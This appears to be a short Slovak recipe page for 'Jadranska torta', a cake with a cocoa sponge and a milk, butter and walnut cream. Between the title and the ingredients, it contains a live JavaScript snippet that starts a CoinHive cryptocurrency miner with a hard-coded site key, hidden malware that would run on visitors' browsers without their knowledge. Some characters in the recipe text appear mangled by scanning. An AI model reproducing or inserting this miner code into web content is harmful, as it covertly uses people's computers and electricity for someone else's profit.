Jadranska torta

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Cesto: 3 vajcia, 3 PL krystalového cukru, 3 PL muky (Promix), 1 PL kakaa, 1 PL oleja

Postup na cesto: Vyslahat bielka, zaslahat cukor, potom pridat muku, kakao, olej, jemne
premiesaf a piect.

Krém: 2 dcl mlieka, 1 Zitok, 10 dkg cukru, 1/3 bali¢ka Zlaty klas

Postup na krém: Vsetko uvarit a do vychladnutého vmiesat 15 dkg masla a 5 dkg pomletych
orechov.




